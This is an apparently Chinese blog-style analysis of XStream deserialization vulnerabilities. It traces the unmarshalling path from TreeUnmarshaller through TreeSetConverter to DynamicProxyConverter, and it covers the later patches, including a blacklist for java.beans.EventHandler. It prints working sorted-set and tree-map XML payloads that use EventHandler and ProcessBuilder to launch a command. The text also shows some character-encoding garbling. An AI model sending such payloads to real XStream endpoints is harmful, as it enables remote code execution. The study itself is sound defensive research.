很久没写漏洞分析文章了,最近感受在审代码的时候,XStream 组件出现的频率比较高,借此来学习一波XStream的漏洞分析。html
下面罗列一下XStream历史漏洞java
XStream 远程代码执行漏洞 | CVE-2013-7285 | XStream <= 1.4.6 |
---|---|---|
XStream XXE | CVE-2016-3674 | XStream <= 1.4.8 |
XStream 远程代码执行漏洞 | CVE-2019-10173 | XStream < 1.4.10 |
XStream 远程代码执行漏洞 | CVE-2020-26217 | XStream <= 1.4.13 |
XStream 远程代码执行漏洞 | CVE-2021-21344 | XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21345 | XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21346 | XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21347 | XStream <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21350 | XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21351 | XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-29505 | XStream : <= 1.4.16 |
详细可查看XStream 官方地址git
XStream是一套简洁易用的开源类库,用于将Java对象序列化为XML或者将XML反序列化为Java对象,是Java对象和XML之间的一个双向转化器。github
public static void main(String[] args) { XStream xStream = new XStream(); Person person = new Person(); person.setName("xxx"); person.setAge(22); String s = xStream.toXML(person); System.out.println(s); }
<com.nice0e3.Person> <name>xxx</name> <age>22</age> </com.nice0e3.Person>
XStream xStream = new XStream(); String xml = "<com.nice0e3.Person>\n" + " <name>xxx</name>\n" + " <age>22</age>\n" + "</com.nice0e3.Person>"; Person person1 = (Person)xStream.fromXML(xml); System.out.println(person1);
结果缓存
Person{name='xxx', age=22}
分析前先来看到EventHandler
类,EventHandler类是实现了InvocationHandler
的一个类,设计本意是为交互工具提供beans,创建从用户界面到应用程序逻辑的链接。其中会查看调用的方法是否为hashCode
、equals
、toString
,若是不为这三个方法则往下走,而咱们的须要利用的部分在下面。EventHandler.invoke()
-->EventHandler.invokeInternal()
-->MethodUtil.invoke()
任意反射调用。安全
XStream 做为客户端对外提供XML解析与转换的相关方法。app
AbstractDriver 为XStream提供流解析器和编写器的建立。目前支持XML(DOM,PULL)、JSON解析器。解析器HierarchicalStreamReader,编写器HierarchicalStreamWriter(PS:XStream默认使用了XppDriver)。函数
MarshallingStrategy 编组和解组策略的核心接口,两个方法:
marshal:编组对象图
unmarshal:解组对象图
TreeUnmarshaller 树解组程序,调用mapper和Converter把XML转化成java对象,里面的start方法开始解组,convertAnother
方法把class转化成java对象。
TreeMarshaller 树编组程序,调用mapper和Converter把java对象转化成XML,里面的start方法开始编组,convertAnother
方法把java对象转化成XML。
它的抽象子类AbstractTreeMarshallingStrategy
有抽象两个方法
createUnmarshallingContext
createMarshallingContext
用来根据不一样的场景建立不一样的TreeUnmarshaller
子类和TreeMarshaller
子类,使用了策略模式,如ReferenceByXPathMarshallingStrategy
建立ReferenceByXPathUnmarshaller
,ReferenceByIdMarshallingStrategy
建立ReferenceByIdUnmarshaller
(PS:XStream默认使用ReferenceByXPathMarshallingStrategy
工具
Mapper 映射器,XML的elementName
经过mapper获取对应类、成员、属性的class对象。支持解组和编组,因此方法是成对存在real 和serialized,他的子类MapperWrapper
做为装饰者,包装了不一样类型映射的映射器,如AnnotationMapper
,ImplicitCollectionMapper
,ClassAliasingMapper
。学习
ConverterLookup 经过Mapper获取的Class对象后,接着调用lookupConverterForType
获取对应Class的转换器,将其转化成对应实例对象。DefaultConverterLookup
是该接口的实现类,同时实现了ConverterRegistry
的接口,全部DefaultConverterLookup
具有查找converter功能和注册converter功能。全部注册的转换器按必定优先级组成由TreeSet保存的有序集合(PS:XStream 默认使用了DefaultConverterLookup)。
根据elementName
查找对应的Class,首先调用realClass
方法,而后realClass
方法会在全部包装层中一层层往下找,并还原elementName
的信息,好比在ClassAliasingMapper
根据component
别名得出Component
类,最后在DefaultMapper
中调用realClass
建立出Class。
CachingMapper
-->SecurityMapper
-->ArrayMapper
-->ClassAliasingMapper
-->PackageAliasingMapper
-->DynamicProxyMapper
--->DefaultMapper
1.4.x<=1.4.6或1.4.10
XStream序列化和反序列化的核心是经过Converter
转换器来将XML和对象之间进行相互的转换。
XStream反序列化漏洞的存在是由于XStream支持一个名为DynamicProxyConverter
的转换器,该转换器能够将XML中dynamic-proxy
标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy
标签内的interface
标签指向的接口类声明的方法时,就会经过动态代理机制代理访问dynamic-proxy
标签内handler
标签指定的类方法;利用这个机制,攻击者能够构造恶意的XML内容,即dynamic-proxy
标签内的handler
标签指向如EventHandler
类这种可实现任意函数反射调用的恶意类、interface
标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后便可触发反序列化漏洞、达到任意代码执行的目的。
public static void main(String[] args) { XStream xStream = new XStream(); String xml = "<sorted-set>\n" + " <string>foo</string>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " <string>cmd</string>\n" + " <string>/C</string>\n" + " <string>calc</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</sorted-set>"; xStream.fromXML(xml); }
一路跟踪下来代码走到com.thoughtworks.xstream.core.TreeUnmarshaller#start
public Object start(final DataHolder dataHolder) { this.dataHolder = dataHolder; //经过mapper获取对应节点的Class对象 final Class<?> type = HierarchicalStreams.readClassType(reader, mapper); //Converter根据Class的类型转化成java对象 final Object result = convertAnother(null, type); for (final Runnable runnable : validationList) { runnable.run(); } return result; }
调用HierarchicalStreams.readClassType
方法,从序列化的数据中获取一个真实的class对象。
public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) { if (classAttribute == null) { // 经过节点名获取Mapper中对应的Class Class<?> type = mapper.realClass(reader.getNodeName()); return type; }
方法内部调用readClassAttribute
。来看到方法
public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) { String attributeName = mapper.aliasForSystemAttribute("resolves-to"); String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName); if (classAttribute == null) { attributeName = mapper.aliasForSystemAttribute("class"); if (attributeName != null) { classAttribute = reader.getAttribute(attributeName); } } return classAttribute; }
其中调用获取调用aliasForSystemAttribute
方法获取别名。
获取resolves-to
和class
判断解析的xml属性值中有没有这两字段。
这里返回为空,继续来看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType
为空的话,则走到这里
type = mapper.realClass(reader.getNodeName());
获取当前节点的名称,并进行返回对应的class对象。
跟踪mapper.realClass
方法。com.thoughtworks.xstream.mapper.CachingMapper#realClass
public Class realClass(String elementName) { Object cached = this.realClassCache.get(elementName); if (cached != null) { if (cached instanceof Class) { return (Class)cached; } else { throw (CannotResolveClassException)cached; } } else { try { Class result = super.realClass(elementName); this.realClassCache.put(elementName, result); return result; } catch (CannotResolveClassException var4) { this.realClassCache.put(elementName, var4); throw var4; } } }
找到别名应的类,存储到realClassCache中,而且进行返回。
执行完成回到com.thoughtworks.xstream.core.TreeUnmarshaller#start
中
跟进代码
Object result = this.convertAnother((Object)null, type);
来到这里
public Object convertAnother(final Object parent, Class<?> type, Converter converter) { //根据mapper获取type实现类 type = mapper.defaultImplementationOf(type); if (converter == null) { //根据type找到对应的converter converter = converterLookup.lookupConverterForType(type); } else { if (!converter.canConvert(type)) { final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type"); e.add("item-type", type.getName()); e.add("converter-type", converter.getClass().getName()); throw e; } } // 进行把type转化成对应的object return convert(parent, type, converter); }
this.mapper.defaultImplementationOf
方法会在mapper对象中去寻找接口的实现类
下面调用 this.converterLookup.lookupConverterForType(type);
方法寻找对应类型的转换器。
public Converter lookupConverterForType(final Class<?> type) { //先查询缓存的类型对应的转换器集合 final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null; if (cachedConverter != null) { //返回找到的缓存转换器 return cachedConverter; } final Map<String, String> errors = new LinkedHashMap<>(); //遍历转换器集合 for (final Converter converter : converters) { try { //判断是否是符合的转换器 if (converter.canConvert(type)) { if (type != null) { //缓存类型对应的转换器 typeToConverterMap.put(type.getName(), converter); } //返回找到的转换器 return converter; } } catch (final RuntimeException | LinkageError e) { errors.put(converter.getClass().getName(), e.getMessage()); } } }
canConvert 变量全部转换器,经过调用Converter.canConvert()
方法来匹配转换器是否可以转换出TreeSet
类型,这里找到知足条件的TreeSetConverter
转换器
下面则是调用this.typeToConverterMap.put(type, converter);
将该类和转换器存储到map中。
而后将转换器进行返回。
回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
中,执行来到这里。
protected Object convert(Object parent, Class type, Converter converter) { Object result; if (this.parentStack.size() > 0) { result = this.parentStack.peek(); if (result != null && !this.values.containsKey(result)) { this.values.put(result, parent); } } String attributeName = this.getMapper().aliasForSystemAttribute("reference"); String reference = attributeName == null ? null : this.reader.getAttribute(attributeName); Object cache; if (reference != null) { cache = this.values.get(this.getReferenceKey(reference)); if (cache == null) { ConversionException ex = new ConversionException("Invalid reference"); ex.add("reference", reference); throw ex; } result = cache == NULL ? null : cache; } else { cache = this.getCurrentReferenceKey(); this.parentStack.push(cache); result = super.convert(parent, type, converter); if (cache != null) { this.values.put(cache, result == null ? NULL : result); } this.parentStack.popSilently(); } return result; }
获取reference别名后,从xml中获取reference标签内容。获取为空则调用
this.getCurrentReferenceKey()
来获取当前标签将当前标签。
调用this.types.push
将获取的值压入栈中,跟进查看一下。
public Object push(Object value) { if (this.pointer + 1 >= this.stack.length) { this.resizeStack(this.stack.length * 2); } this.stack[this.pointer++] = value; return value; }
实际上作的操做也只是将值存储在了this.stack
变量里面。
来到如下代码
Object result = converter.unmarshal(this.reader, this);
调用传递进来的类型转换器,也就是前面经过匹配获取到的类型转换器。调用unmarshal
方法,进行xml解析。也就是com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { TreeSet result = null; Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null); boolean inFirstElement = unmarshalledComparator instanceof Null; Comparator comparator = inFirstElement ? null : unmarshalledComparator; TreeMap treeMap; if (sortedMapField != null) { TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator); Object backingMap = null; try { backingMap = sortedMapField.get(possibleResult); } catch (IllegalAccessException var11) { throw new ConversionException("Cannot get backing map of TreeSet", var11); } if (backingMap instanceof TreeMap) { treeMap = (TreeMap)backingMap; result = possibleResult; } else { treeMap = null; } } else { treeMap = null; } if (treeMap == null) { PresortedSet set = new PresortedSet(comparator); result = comparator == null ? new TreeSet() : new TreeSet(comparator); if (inFirstElement) { this.addCurrentElementToCollection(reader, context, result, set); reader.moveUp(); } this.populateCollection(reader, context, result, set); if (set.size() > 0) { result.addAll(set); } } else { this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator); } return result; }
调用unmarshalComparator
方法判断是否存在comparator,若是不存在,则返回NullComparator对象。
protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) { Comparator comparator; if (reader.hasMoreChildren()) { reader.moveDown(); if (reader.getNodeName().equals("comparator")) { Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper()); comparator = (Comparator)context.convertAnother(result, comparatorClass); } else { if (!reader.getNodeName().equals("no-comparator")) { return NULL_MARKER; } comparator = null; } reader.moveUp(); } else { comparator = null; } return comparator; }
回到com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal
获取为空,则 inFirstElement
为false,下面的代码comparator
变量中三目运算返回null。而possibleResult
也是建立的是一个空的TreeSet
对象。然后则是一些赋值,就不必一一去看了。来看到重点部分。
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
跟进一下。
protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) { boolean inFirstElement = comparator == NULL_MARKER; if (inFirstElement) { comparator = null; } SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null); if (inFirstElement) { this.putCurrentEntryIntoMap(reader, context, result, sortedMap); reader.moveUp(); } this.populateMap(reader, context, result, sortedMap); try { if (JVM.hasOptimizedTreeMapPutAll()) { if (comparator != null && comparatorField != null) { comparatorField.set(result, comparator); } result.putAll(sortedMap); } else if (comparatorField != null) { comparatorField.set(result, sortedMap.comparator()); result.putAll(sortedMap); comparatorField.set(result, comparator); } else { result.putAll(sortedMap); } } catch (IllegalAccessException var8) { throw new ConversionException("Cannot set comparator of TreeMap", var8); } }
下面调用了this.putCurrentEntryIntoMap
跟进查看一下。
读取标签内的内容并缓存到target这个Map中。
reader.moveUp()
日后解析xml
而后调用this.populateMap(reader, context, result, sortedMap);
跟进方法查看
protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) { TreeSetConverter.this.populateCollection(reader, context, new AbstractList() { public boolean add(Object object) { return target.put(object, object) != null; } public Object get(int location) { return null; } public int size() { return target.size(); } }); }
其中调用populateCollection
用来循环遍历子标签中的元素并添加到集合中。
调用addCurrentElementToCollection
-->readItem
protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) { Class type = HierarchicalStreams.readClassType(reader, this.mapper()); return context.convertAnother(current, type); }
读取标签内容,而且获取转换成对应的类,最后将类添加到targer中。
跟踪一下看看。大概流程和前面的同样。
一路跟踪来到
com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal
前面得到的DynamicProxyConverter
。
这就获取到了一个动态代理的类。EventHandler
com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap
中调用result.putAll
,也就是代理了EventHandler
类的putALL。动态代理特性则会触发,EventHandler.invoke
。
invoke的主要实现逻辑在invokeInternal
怎么说呢,总体一套流程其实就是一个解析的过程。从com.thoughtworks.xstream.core.TreeUnmarshaller#start
方法开始解析xml,调用HierarchicalStreams.readClassType
经过标签名获取Mapper中对于的class对象。获取class完成后调用com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
,该方法会根据class转换为对于的Java对象。convertAnother
的实现是mapper.defaultImplementationOf
方法查找class实现类。根据实现类获取对应转换器,获取转换器部分的实现逻辑是ConverterLookup
中的lookupConverterForType
方法,先从缓存集合中查找Converter
,遍历converters
找到符合的Converter
。随后,调用convert
返回object对象。convert
方法实现逻辑是调用获取到的converter
转换器的unmarshal
方法来根据获取的对象,继续读取子节点,并转化成对象对应的变量。直到读取到最后一个节点退出循环。最终获取到java对象中的变量值也都设置,整个XML解析过程就结束了。
<tree-map> <entry> <string>fookey</string> <string>foovalue</string> </entry> <entry> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> <string>good</string> </entry> </tree-map>
咱们第一个payload使用的是sortedset
接口在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother
方法中this.mapper.defaultImplementationOf(type);
寻找到的实现类为java.util.TreeSet
。根据实现类寻找到的转换器即TreeSetConverter
。
这里使用的是tree-map
,获取的实现类是他自己,转换器则是TreeMapConverter
。一样是经过动态代理的map对象,调用putAll方法触发到EventHandler.invoke
里面实现任意反射调用。
com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType
该行代码爆出Method threw 'com.thoughtworks.xstream.mapper.CannotResolveClassException' exception.
没法解析异常。
发现是从遍历去调用map,调用realClass查找这里并无从map中找到对应的class。因此这里报错了。
com.thoughtworks.xstream.core.TreeUnmarshaller#start
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper); Object result = this.convertAnother((Object)null, type);
获取class部分红功了,报错位置在调用this.convertAnother
转换成Object对象步骤上。
跟进查看一下。
EventHandler
的处理由ReflectionConverter
来处理的,在1.4.7-1.4.9版本。添加了canConvert
方法的判断。
com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert
中没了对EventHandler
类的判断。
1.4.10版本之后添加了XStream.setupDefaultSecurity(xStream)
方法的支持。
com.thoughtworks.xstream.XStream$InternalBlackList#canConvert
中
public boolean canConvert(Class type) { return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto.")); }
添加黑名单判断。
篇章略长,分开几部分来写。